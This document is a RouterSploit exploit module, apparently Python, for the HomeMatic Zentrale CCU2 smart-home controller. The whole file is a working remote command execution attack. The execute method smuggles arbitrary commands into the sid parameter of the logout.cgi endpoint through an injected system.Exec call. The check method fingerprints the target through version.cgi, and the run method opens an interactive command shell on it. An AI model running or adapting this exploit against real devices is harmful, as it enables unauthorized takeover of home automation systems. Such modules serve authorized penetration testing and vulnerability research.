routersploit module exploits/misc/homematic/zentrale_ccu2_rce.py

zentrale_ccu2_rce.py

import random
import re
import string

from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient

class Exploit(HTTPClient):
    __info__ = {
        "name": "HomeMatic Zentrale CCU2 - RCE",
        "description": "Exploits a flaw in the CCU2 logout handler to execute arbitrary commands.",
        "authors": (
            'Kacper Szurek - ESET',
            "@jnazario",      # routersploit module
        ),
        "references": (
            "https://www.exploit-db.com/exploits/45052/",
        ),
        "devices": (
            "HomeMatic Zentrale CCU2",
        )
    }
    
    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    
    def run(self):
        if self.check():
            print_success("Target appears to be vulnerable")
            print_status("Invoking command loop...")
            shell(self)
        else:
            print_error("Target is not vulnerable")
    
    def execute(self, cmd):
        url = '/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'
        
        response = self.http_request(
            method='GET',
            path=url.format(cmd)
        )
        return response.text
    
    @mute
    def check(self):
        response = self.http_request(
            method="GET",
            path="/api/backup/version.cgi"
        )

        if response is not None:
            if response.text.startswith('VERSION='):
                return True  # target is vulnerable

        return False  # target is not vulnerable